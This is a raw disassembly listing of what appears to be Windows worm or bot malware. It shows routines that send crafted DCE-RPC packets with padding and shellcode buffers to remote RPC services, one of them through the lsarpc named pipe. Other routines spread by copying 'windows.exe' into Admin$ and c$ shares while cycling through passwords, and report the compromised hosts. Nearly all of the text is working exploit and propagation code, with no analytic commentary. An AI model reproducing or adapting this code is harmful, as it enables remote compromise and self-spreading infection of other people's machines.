cmp [ebp+var_8], 3
jnb short loc_40FA25
mov edi, eax
push edi
push esi
call sub_40F9A3
add esp, 10h
add esi, edi
add [ebp+var_4], edi
jmp short loc_40FA2C
; ---------------------------------------------------------------------------
loc_40FA25: ; CODE XREF: sub_40F9CE+42j
pop ecx
add esi, eax
add [ebp+var_4], eax
pop ecx
loc_40FA2C: ; CODE XREF: sub_40F9CE+55j
mov eax, [ebp+Str]
inc [ebp+var_8]
lea edi, [eax+ebx+1]
loc_40FA36: ; CODE XREF: sub_40F9CE+32j
inc [ebp+Str]
mov eax, [ebp+var_C]
cmp [ebp+Str], eax
jb short loc_40F9F8
loc_40FA41: ; CODE XREF: sub_40F9CE+28j
push esi ; int
push edi ; Str
mov byte ptr [eax+esi], 0
call sub_40F93D
add eax, [ebp+var_4]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40F9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40FA56(int,char *Str,char Src,int)
sub_40FA56 proc near ; CODE XREF: .text:0040FBEEp
var_2C = byte ptr -2Ch
Memory = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
Src = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
push 9
pop ecx
mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
lea edi, [ebp+var_2C]
rep movsd
push 1 ; SizeOfElements
push 800h ; NumOfElements
movsb
call _calloc
pop ecx
pop ecx
push 1 ; SizeOfElements
push [ebp+Str] ; Str
mov esi, eax
call _strlen
shr eax, 1
inc eax
pop ecx
inc eax
push eax ; NumOfElements
call _calloc
mov [ebp+Memory], eax
xor eax, eax
mov edi, esi
add esi, 10h
inc eax
xor ebx, ebx
mov word ptr [esi], 16D0h
mov word ptr [esi+2], 16D0h
mov [esi+4], ebx
mov [esi+8], eax
mov [esi+0Ch], bx
mov [esi+0Eh], ax
add esi, 10h
push esi ; int
push [ebp+Str] ; Str
call sub_40F9CE
add esi, eax
push 2 ; Size
lea eax, [ebp+Src]
push eax ; Src
push esi ; Dst
call _memcpy
inc esi
inc esi
mov [esi], bl
inc esi
mov [esi], bl
inc esi
lea eax, [ebp+var_2C]
push esi ; int
push eax ; Str
call sub_40F9CE
mov ecx, [ebp+arg_C]
push [ebp+Memory] ; Memory
add esi, eax
mov byte ptr [esi], 2
inc esi
mov [esi], bl
sub esi, edi
inc esi
lea eax, [esi+2]
mov [edi+8], ax
mov eax, [ebp+arg_0]
mov [edi+0Ch], eax
movzx eax, si
inc eax
inc eax
mov byte ptr [edi], 5
mov [edi+1], bl
mov byte ptr [edi+2], 0Bh
mov byte ptr [edi+3], 3
mov dword ptr [edi+4], 10h
mov [edi+0Ah], bx
mov [ecx], eax
call _free
add esp, 28h
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40FA56 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40FB31(int,char *Str)
sub_40FB31 proc near ; CODE XREF: .text:0040FC74p
; .text:00410831p
arg_0 = dword ptr 4
Str = dword ptr 8
push esi
mov esi, [esp+4+Str]
push esi ; Str
call _strlen
pop ecx
mov ecx, [esp+4+arg_0]
lea ecx, [ecx+eax*2-1]
jmp short loc_40FB52
; ---------------------------------------------------------------------------
loc_40FB47: ; CODE XREF: sub_40FB31+23j
dec eax
mov byte ptr [ecx], 0
mov dl, [eax+esi]
dec ecx
mov [ecx], dl
dec ecx
loc_40FB52: ; CODE XREF: sub_40FB31+14j
test eax, eax
jnz short loc_40FB47
pop esi
retn
sub_40FB31 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1044h
call __alloca_probe
push ebx
xor ebx, ebx
cmp dword_4440DC, ebx
push esi
push edi
jz loc_40FC28
push 9
pop ecx
mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
lea edi, [ebp-44h]
rep movsd
movsb
xor edi, edi
push ebx
inc edi
push edi
push 2
mov [ebp-4], edi
call dword_444100 ; socket
mov esi, eax
cmp esi, ebx
mov [ebp-0Ch], esi
jl loc_40FC28
push dword ptr [ebp+0A8h]
mov word ptr [ebp-1Ch], 2
call dword_444260 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_44417C ; inet_addr
push 8
mov [ebp-18h], eax
lea eax, [ebp-14h]
push ebx
push eax
call _memset
add esp, 0Ch
push 10h
lea eax, [ebp-1Ch]
push eax
push esi
call dword_4440AC ; connect
test eax, eax
jl short loc_40FC28
lea eax, [ebp-8]
push eax
push edi
lea eax, [ebp-44h]
push eax
push ebx
call sub_40FA56
add esp, 10h
push ebx
push dword ptr [ebp-8]
mov edi, eax
push edi
push esi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40FC21
push ebx
push 1000h
lea eax, [ebp-1044h]
push eax
push esi
call ds:dword_42B208 ; recv
test eax, eax
jg short loc_40FC2F
loc_40FC21: ; CODE XREF: .text:0040FC07j
push edi
call _free
pop ecx
loc_40FC28: ; CODE XREF: .text:0040FB70j
; .text:0040FB9Bj ...
xor eax, eax
loc_40FC2A: ; CODE XREF: .text:0040FDBEj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40FC2F: ; CODE XREF: .text:0040FC1Fj
lea eax, [ebp+0Ch]
push eax
call sub_40F87A
push eax
mov [ebp-8], eax
call _strlen
test eax, eax
pop ecx
pop ecx
jz short loc_40FC28
mov edi, 104Ch
push edi
call _malloc
push edi
mov esi, eax
push 90h
push esi
call _memset
push 42h
push offset dword_43FAA8
push esi
call _memcpy
push dword ptr [ebp-8]
lea ebx, [esi+42h]
push ebx
call sub_40FB31
push dword ptr [ebp-8]
call _strlen
push 14h
lea ebx, [ebx+eax*2]
push offset aPrivate ; "\\PRIVATE$\\"
push ebx
call _memcpy
push 18h
mov ebx, offset dword_43FB04
lea eax, [esi+418h]
push ebx
push eax
call _memcpy
add esp, 40h
push 18h
lea eax, [esi+830h]
push ebx
push eax
call _memcpy
push 18h
lea eax, [esi+0C48h]
push offset dword_43FB20
push eax
call _memcpy
push 3Ah
lea ebx, [esi+1B6h]
push offset dword_43FB3C
push ebx
call _memcpy
push 0FFFFh
push 539h
call sub_41B325
mov [ebp-8], eax
add esp, 2Ch
xor eax, 437h
push eax
call dword_444260 ; htons
push 158h
push offset dword_43FB78
add ebx, 3Ah
push ebx
mov word_43FC32, ax
call _memcpy
xor ebx, ebx
inc ebx
lea eax, [ebp+0Ch]
push ebx
push eax
mov byte ptr [esi+104Ah], 0
mov byte ptr [esi+104Bh], 0
call sub_41AA0A
add esp, 14h
cmp eax, 2
jnz short loc_40FD41
mov dword ptr [ebp-4], 8
loc_40FD41: ; CODE XREF: .text:0040FD38j
cmp eax, 3
jnz short loc_40FD64
mov [ebp-4], ebx
jmp short loc_40FD64
; ---------------------------------------------------------------------------
loc_40FD4B: ; CODE XREF: .text:0040FD68j
dec dword ptr [ebp-4]
push 0
push edi
push esi
push dword ptr [ebp-0Ch]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40FC28
loc_40FD64: ; CODE XREF: .text:0040FD44j
; .text:0040FD49j
cmp dword ptr [ebp-4], 0
jnz short loc_40FD4B
push dword ptr [ebp-0Ch]
call dword_444218 ; closesocket
push 1F4h
call ds:dword_42B014 ; Sleep
push esi
call _free
pop ecx
push dword ptr [ebp-8]
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz loc_40FC28
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
mov eax, ebx
jmp loc_40FC2A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40FDC3(int,char *Str1,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_40FDC3 proc near ; CODE XREF: sub_410047+37p
var_6EC = byte ptr -6ECh
var_4E4 = dword ptr -4E4h
var_2E4 = byte ptr -2E4h
Dest = byte ptr -154h
Dst = byte ptr -50h
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = byte ptr 28h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
sub esp, 6ECh
push esi
push edi
push 20h ; Size
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
mov esi, [ebp+arg_8]
add esp, 0Ch
push edi
push [ebp+arg_0]
lea eax, [ebp+Dst]
push [ebp+Str1]
mov [ebp+var_3C], esi
push eax
mov [ebp+var_4C], 1
mov [ebp+var_40], edi
mov [ebp+var_34], edi
call dword_4441AC
test eax, eax
jz short loc_40FE14
push 0Ah
call ds:dword_42B014 ; Sleep
jmp loc_410034
; ---------------------------------------------------------------------------
loc_40FE14: ; CODE XREF: sub_40FDC3+42j
push ebx
push 190h
lea eax, [ebp+var_2E4]
push eax
push 0FFFFFFFFh
push esi
push edi
push edi
mov [ebp+var_1C], offset aAdminSystem32 ; "Admin$\\system32"
mov [ebp+var_18], offset aCWinntSystem32 ; "c$\\winnt\\system32"
mov [ebp+var_14], offset aCWindowsSystem ; "c$\\windows\\system32"
mov [ebp+var_10], offset aC ; "c"
mov [ebp+var_C], offset aD_0 ; "d"
mov [ebp+var_8], edi
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_2E4]
push eax
call dword_44406C
test eax, eax
jnz loc_410030
cmp [ebp+var_8], edi
jz loc_410030
mov [ebp+var_4], edi
mov esi, offset aWindows_exe ; "windows.exe"
loc_40FE7C: ; CODE XREF: sub_40FDC3+150j
mov eax, [ebp+var_4]
push esi
push [ebp+eax*4+var_1C]
lea eax, [ebp+Dest]
push [ebp+arg_8]
push offset aSSS_2 ; "%s\\%s\\%s"
push eax ; Dest
call _sprintf
add esp, 14h
push edi
lea eax, [ebp+Dest]
push eax
push esi
call ds:dword_42B048 ; CopyFileA
mov ebx, eax
cmp ebx, edi
jnz short loc_40FF2B
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 5
jnz short loc_40FF0C
lea eax, [ebp+Dest]
push edi
push eax
call sub_42065F
test eax, eax
pop ecx
pop ecx
jnz short loc_40FF0C
call _rand
cdq
push 0Ah
pop ecx
idiv ecx
lea eax, [ebp+Dest]
push eax ; Str
mov ebx, edx
add bl, 30h
call _strlen
pop ecx
lea ecx, [ebp+Dest]
sub ecx, 5
mov [eax+ecx], bl
push edi
lea eax, [ebp+Dest]
push eax
push esi
call ds:dword_42B048 ; CopyFileA
mov ebx, eax
cmp ebx, edi
jnz short loc_40FF2B
loc_40FF0C: ; CODE XREF: sub_40FDC3+F6j
; sub_40FDC3+109j
inc [ebp+var_4]
cmp [ebp+var_4], 5
jb loc_40FE7C
cmp ebx, edi
jnz short loc_40FF2B
push [ebp+var_8]
call dword_444140
jmp loc_410033
; ---------------------------------------------------------------------------
loc_40FF2B: ; CODE XREF: sub_40FDC3+EBj
; sub_40FDC3+147j ...
mov ecx, [ebp+var_8]
mov eax, [ecx]
push 3Ch
xor edx, edx
pop ebx
div ebx
xor edx, edx
push 10h ; Size
push edi ; Val
sub eax, [ecx+18h]
mov ecx, 5A0h
inc eax
inc eax
div ecx
lea eax, [ebp+var_30]
push eax ; Dst
mov ebx, edx
call _memset
imul ebx, 0EA60h
add esp, 0Ch
push 208h
lea eax, [ebp+var_6EC]
push eax
push 0FFFFFFFFh
push esi
push edi
push edi
mov [ebp+var_30], ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+var_6EC]
mov [ebp+var_24], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_2E4]
push eax
call dword_4440A8
test eax, eax
jnz loc_410030
push offset byte_42B633 ; Str2
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
mov eax, offset aNoPassword ; "(no password)"
jz short loc_40FFB7
mov eax, [ebp+Str1]
loc_40FFB7: ; CODE XREF: sub_40FDC3+1EFj
push eax
push [ebp+arg_0]
mov eax, [ebp+var_4]
push [ebp+eax*4+var_1C]
mov eax, [ebp+arg_B4]
push [ebp+arg_8]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset asc_433314 ; "-"
lea eax, [ebp+var_4E4]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
cmp [ebp+arg_C0], edi
jnz short loc_410012
push edi ; int
push [ebp+arg_BC] ; int
lea eax, [ebp+var_4E4]
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_C] ; int
call sub_40123B
add esp, 14h
loc_410012: ; CODE XREF: sub_40FDC3+230j
lea eax, [ebp+var_4E4]
push eax
call sub_417D70
mov eax, [ebp+arg_B4]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
pop ecx
loc_410030: ; CODE XREF: sub_40FDC3+A2j
; sub_40FDC3+ABj ...
xor edi, edi
inc edi
loc_410033: ; CODE XREF: sub_40FDC3+163j
pop ebx
loc_410034: ; CODE XREF: sub_40FDC3+4Cj
push 1
push 1
push [ebp+arg_8]
call dword_4440D8
loc_410041: ; DATA XREF: .text:00410419o
mov eax, edi
pop edi
pop esi
leave
retn
sub_40FDC3 endp
; =============== S U B R O U T I N E =======================================
sub_410047 proc near ; CODE XREF: sub_4100AE+131p
; sub_4100AE+1A8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
cmp off_43C268, 0
push ebx
push esi
push edi
jz short loc_4100A3
mov eax, offset off_43C268
mov ebx, eax
loc_41005A: ; CODE XREF: sub_410047+5Aj
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
push [esp+0C8h+arg_4] ; int
lea esi, [esp+0CCh+arg_8]
push dword ptr [eax] ; Str1
rep movsd
push [esp+0D0h+arg_0] ; int
call sub_40FDC3
add esp, 0C8h
cmp eax, 1
jz short loc_4100A9
push 0C8h
call ds:dword_42B014 ; Sleep
add ebx, 4
cmp dword ptr [ebx], 0
mov eax, ebx
jnz short loc_41005A
loc_4100A3: ; CODE XREF: sub_410047+Aj
xor eax, eax
loc_4100A5: ; CODE XREF: sub_410047+65j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4100A9: ; CODE XREF: sub_410047+45j
xor eax, eax
inc eax
jmp short loc_4100A5
sub_410047 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100AE proc near ; CODE XREF: sub_40BCF3+1CDp
; DATA XREF: .data:off_43D87Co
var_62C = byte ptr -62Ch
var_244 = byte ptr -244h
var_118 = byte ptr -118h
var_50 = byte ptr -50h
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
Dest = byte ptr -30h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 62Ch
push ebx
push esi
push edi
lea eax, [ebp+arg_4]
push eax
xor ebx, ebx
lea eax, [ebp+Dest]
push offset aS_1 ; "\\\\%s"
push eax ; Dest
mov [ebp+var_4], ebx
mov [ebp+var_14], ebx
mov [ebp+var_1C], ebx
mov [ebp+var_18], ebx
call _sprintf
add esp, 0Ch
push 3E8h
lea eax, [ebp+var_62C]
push eax
push 0FFFFFFFFh
lea eax, [ebp+Dest]
push eax
push ebx
push ebx
call ds:dword_42B07C ; MultiByteToWideChar
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_118]
push offset aSIpc_0 ; "%s\\ipc$"
push eax ; Dest
mov [ebp+var_40], ebx
mov [ebp+var_34], ebx
mov [ebp+var_4C], ebx
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_118]
mov [ebp+var_3C], eax
push ebx
mov eax, offset byte_42B633
push eax
push eax
lea eax, [ebp+var_50]
push eax
call dword_4441AC
test eax, eax
jz short loc_41014E
push 1
push ebx
lea eax, [ebp+var_118]
push eax
call dword_4440D8
xor eax, eax
jmp loc_410276
; ---------------------------------------------------------------------------
loc_41014E: ; CODE XREF: sub_4100AE+87j
; sub_4100AE+168j
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_14]
push eax
push 0FFFFFFFFh
lea eax, [ebp+var_4]
push eax
push 2
push ebx
lea eax, [ebp+var_62C]
push eax
call dword_4440E0
push 1
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_118]
push eax
call dword_4440D8
cmp [ebp+var_C], ebx
jz short loc_410191
cmp [ebp+var_C], 0EAh
jnz short loc_4101FE
loc_410191: ; CODE XREF: sub_4100AE+D8j
mov eax, [ebp+var_4]
cmp eax, ebx
mov [ebp+var_10], eax
jz short loc_41020F
cmp [ebp+var_14], ebx
mov [ebp+var_8], ebx
jbe short loc_4101FE
loc_4101A3: ; CODE XREF: sub_4100AE+14Ej
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_4101FE
push ebx
push ebx
push 12Ch
lea ecx, [ebp+var_244]
push ecx
push 0FFFFFFFFh
push dword ptr [eax]
push ebx
push ebx
call ds:dword_42B090 ; WideCharToMultiByte
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_244]
lea esi, [ebp+arg_0]
push eax
rep movsd
call sub_410047
add esp, 0C4h
cmp eax, 1
jz short loc_4101FE
add [ebp+var_10], 4
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+var_14]
jb short loc_4101A3
loc_4101FE: ; CODE XREF: sub_4100AE+E1j
; sub_4100AE+F3j ...
cmp [ebp+var_4], ebx
jz short loc_41020F
push [ebp+var_4]
call dword_444140
mov [ebp+var_4], ebx
loc_41020F: ; CODE XREF: sub_4100AE+EBj
; sub_4100AE+153j
cmp [ebp+var_C], 0EAh
jz loc_41014E
cmp [ebp+var_4], ebx
jz short loc_41022A
push [ebp+var_4]
call dword_444140
loc_41022A: ; CODE XREF: sub_4100AE+171j
cmp [ebp+var_C], 5
jnz short loc_410273
cmp off_43C218, ebx
jz short loc_410273
mov eax, offset off_43C218
mov [ebp+var_8], eax
loc_410240: ; CODE XREF: sub_4100AE+1C3j
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
lea esi, [ebp+arg_0]
rep movsd
lea ecx, [ebp+Dest]
push ecx
push dword ptr [eax]
call sub_410047
add esp, 0C4h
cmp eax, 1
jz short loc_410273
mov eax, [ebp+var_8]
add eax, 4
cmp [eax], ebx
mov [ebp+var_8], eax
jnz short loc_410240
loc_410273: ; CODE XREF: sub_4100AE+180j
; sub_4100AE+188j ...
xor eax, eax
inc eax
loc_410276: ; CODE XREF: sub_4100AE+9Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4100AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41027B proc near ; CODE XREF: .text:004104B4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
lea eax, [esi+esi]
cmp [ebp+arg_C], eax
jnb short loc_41028F
or eax, 0FFFFFFFFh
jmp short loc_4102AE
; ---------------------------------------------------------------------------
loc_41028F: ; CODE XREF: sub_41027B+Dj
xor eax, eax
test esi, esi
jbe short loc_4102AB
mov ecx, [ebp+arg_8]
loc_410298: ; CODE XREF: sub_41027B+2Ej
mov edx, [ebp+arg_0]
mov dl, [eax+edx]
mov [ecx+eax*2], dl
mov byte ptr [ecx+eax*2+1], 0
inc eax
cmp eax, esi
jb short loc_410298
loc_4102AB: ; CODE XREF: sub_41027B+18j
mov eax, [ebp+arg_C]
loc_4102AE: ; CODE XREF: sub_41027B+12j
pop esi
pop ebp
retn
sub_41027B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10A8h
call __alloca_probe
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push 1
push eax
call sub_41AA0A
mov esi, eax
cmp esi, 1
pop ecx
pop ecx
jz loc_4105A2
push 0FDE8h
push 539h
call sub_41B325
pop ecx
pop ecx
push eax
mov [ebp-8], eax
call dword_444260 ; htons
movzx eax, ax
xor eax, 9999h
mov [ebp-10h], eax
push 2
lea eax, [ebp-10h]
push eax
push offset dword_43FD88
call _memcpy
add esp, 0Ch
mov eax, esi
dec eax
dec eax
jz loc_4103E9
push 8522h
mov dword ptr [ebp-4], 8520h
call ??2@YAPAXI@Z ; operator new(uint)
mov dword ptr [esp], 8521h
xor ebx, ebx
mov esi, eax
push ebx
push esi
call _memset
push 24h
push offset dword_43FEF4
push esi
call _memcpy
mov eax, 1004600h
lea edi, [esi+24h]
mov ecx, 1FFAh
push 2
rep stosd
lea eax, [esi+7FF4h]
push ebx
push eax
call _memset
push 4FAh
lea eax, [esi+7FF6h]
push offset dword_4403E8
push eax
call _memcpy
mov eax, 4001h
push 5
mov [esi+18h], eax
mov [esi+20h], eax
lea eax, [esi+7E0h]
push offset dword_43FE74
push eax
mov dword ptr [esi+8], 8520h
mov dword ptr [esi+10h], 84F0h
call _memcpy
add esp, 3Ch
xor edi, edi
loc_4103B1: ; CODE XREF: .text:004103CCj
push 1
lea eax, [esi+edi+24h]
push 90h
push eax
call _memset
add esp, 0Ch
inc edi
cmp edi, 1A9h
jle short loc_4103B1
push 195h
lea eax, [esi+3Ch]
push offset dword_43FCD8
push eax
call _memcpy
add esp, 0Ch
jmp loc_4104EB
; ---------------------------------------------------------------------------
loc_4103E9: ; CODE XREF: .text:00410316j
push 24F2h
mov dword ptr [ebp-4], 24F0h
call ??2@YAPAXI@Z ; operator new(uint)
mov dword ptr [esp], 24F1h
xor ebx, ebx
mov esi, eax
push ebx
push esi
call _memset
push 24h
push offset dword_43FED0
push esi
call _memcpy
mov eax, offset loc_410041
lea edi, [esi+24h]
mov ecx, 800h
push 2
rep stosd
lea eax, [esi+2024h]
push ebx
push eax
call _memset
push 4CAh
lea eax, [esi+2026h]
push offset dword_43FF18
push eax
call _memcpy
mov eax, 1001h
push 4
mov [esi+18h], eax
mov [esi+20h], eax
lea eax, [esi+1654h]
push offset dword_43FE70
push eax
mov dword ptr [esi+8], 24F0h
mov dword ptr [esi+10h], 24C0h
call _memcpy
push 8
lea eax, [esi+165Ch]
push offset off_43FE7C
push eax
call _memcpy
add esp, 48h
mov edi, 32Ah
push edi
call ??2@YAPAXI@Z ; operator new(uint)
push edi
push ebx
push eax
mov [ebp-0Ch], eax
call _memset
push edi
mov edi, [ebp-0Ch]
push edi
push 195h
push offset dword_43FCD8
call sub_41027B
add esp, 20h
cmp eax, 0FFFFFFFFh
jnz short loc_4104D0
push edi
call j__free
pop ecx
loc_4104C8: ; CODE XREF: .text:004106C1j
xor eax, eax
inc eax
jmp loc_4105A4
; ---------------------------------------------------------------------------
loc_4104D0: ; CODE XREF: .text:004104BFj
push 328h
lea eax, [esi+1664h]
push edi
push eax
call _memcpy
push edi
call j__free
add esp, 10h
loc_4104EB: ; CODE XREF: .text:004103E4j
cmp dword ptr [ebp+0A8h], 87h
jz short loc_410517
cmp dword ptr [ebp+0A8h], 1BDh
jz loc_4105A9
cmp dword ptr [ebp+0A8h], 401h
jnz loc_41059B
loc_410517: ; CODE XREF: .text:004104F5j
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-24h], 2
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-20h], eax
call dword_444260 ; htons
push ebx
push 1
push 2
mov [ebp-22h], ax
call dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41059B
push 10h
lea eax, [ebp-24h]
push eax
push edi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_41059B
push ebx
push 48h
push offset dword_43FE88
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41059B
push ebx
push 2710h
lea eax, [ebp-10A8h]
push eax
push edi
call dword_444064 ; recv
push ebx
push dword ptr [ebp-4]
push esi
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz loc_410670
loc_41059B: ; CODE XREF: .text:00410511j
; .text:0041054Aj ...
push esi
call j__free
loc_4105A1: ; CODE XREF: .text:00410608j
pop ecx
loc_4105A2: ; CODE XREF: .text:004102D3j
; .text:004106AAj
xor eax, eax
loc_4105A4: ; CODE XREF: .text:004104CBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4105A9: ; CODE XREF: .text:00410501j
lea eax, [ebp-44h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40C89B
test eax, eax
pop ecx
pop ecx
jz short loc_41059B
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-0A8h]
push offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc"
push eax
call _sprintf
add esp, 0Ch
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
lea eax, [ebp-0A8h]
push eax
call ds:dword_42B08C ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41060A
loc_4105F8: ; CODE XREF: .text:00410650j
lea eax, [ebp+0Ch]
push eax
call sub_40C979
push esi
call j__free
pop ecx
jmp short loc_4105A1
; ---------------------------------------------------------------------------
loc_41060A: ; CODE XREF: .text:004105F6j
push ebx
lea eax, [ebp-0Ch]
push eax
push 1000h
lea eax, [ebp-10A8h]
push eax
push 48h
push offset dword_43FE88
push edi
call ds:dword_42B088 ; TransactNamedPipe
cmp byte ptr [ebp-10A6h], 0Ch
jz short loc_410635
push edi
jmp short loc_41064A
; ---------------------------------------------------------------------------
loc_410635: ; CODE XREF: .text:00410630j
push ebx
lea eax, [ebp-14h]
push eax
push dword ptr [ebp-4]
push esi
push edi
call ds:dword_42B084 ; WriteFile
test eax, eax
push edi
jnz short loc_410652
loc_41064A: ; CODE XREF: .text:00410633j
call ds:dword_42B004 ; CloseHandle
jmp short loc_4105F8
; ---------------------------------------------------------------------------
loc_410652: ; CODE XREF: .text:00410648j
call ds:dword_42B004 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40C979
push esi
call j__free
pop ecx
pop ecx
push 1F4h
jmp short loc_410684
; ---------------------------------------------------------------------------
loc_410670: ; CODE XREF: .text:00410595j
push edi
call dword_444218 ; closesocket
push esi
call j__free
mov dword ptr [esp], 1F4h
loc_410684: ; CODE XREF: .text:0041066Ej
call ds:dword_42B014 ; Sleep
push dword ptr [ebp-8]
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz loc_4105A2
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
jmp loc_4104C8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 25A8h
call __alloca_probe
push ebx
push esi
push edi
lea eax, [ebp-11A8h]
push eax
push 2
call ds:dword_42B204 ; WSAStartup
xor ebx, ebx
push ebx
push 1
push 2
call dword_444100 ; socket
mov edi, eax
cmp edi, ebx
mov [ebp-8], edi
jl loc_410A2E
push 1BDh
mov word ptr [ebp-18h], 2
call dword_444260 ; htons
mov [ebp-16h], ax
lea eax, [ebp+0Ch]
push eax
call dword_44417C ; inet_addr
push 8
mov [ebp-14h], eax
lea eax, [ebp-10h]
push ebx
push eax
call _memset
add esp, 0Ch
push 10h
lea eax, [ebp-18h]
push eax
push edi
call dword_4440AC ; connect
test eax, eax
jl loc_410A2E
push ebx
push 89h
push offset dword_4408E8
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
mov esi, 1000h
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push ebx
push 0A8h
push offset dword_440978
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
push ebx
push 0DEh
push offset dword_440A28
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push 30h
lea eax, [ebp-1018h]
push offset dword_440B08
push eax
call _memcpy
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-15A8h]
push offset aSIpc_1 ; "\\\\%s\\IPC$"
push eax
call _sprintf
lea eax, [ebp-15A8h]
push eax
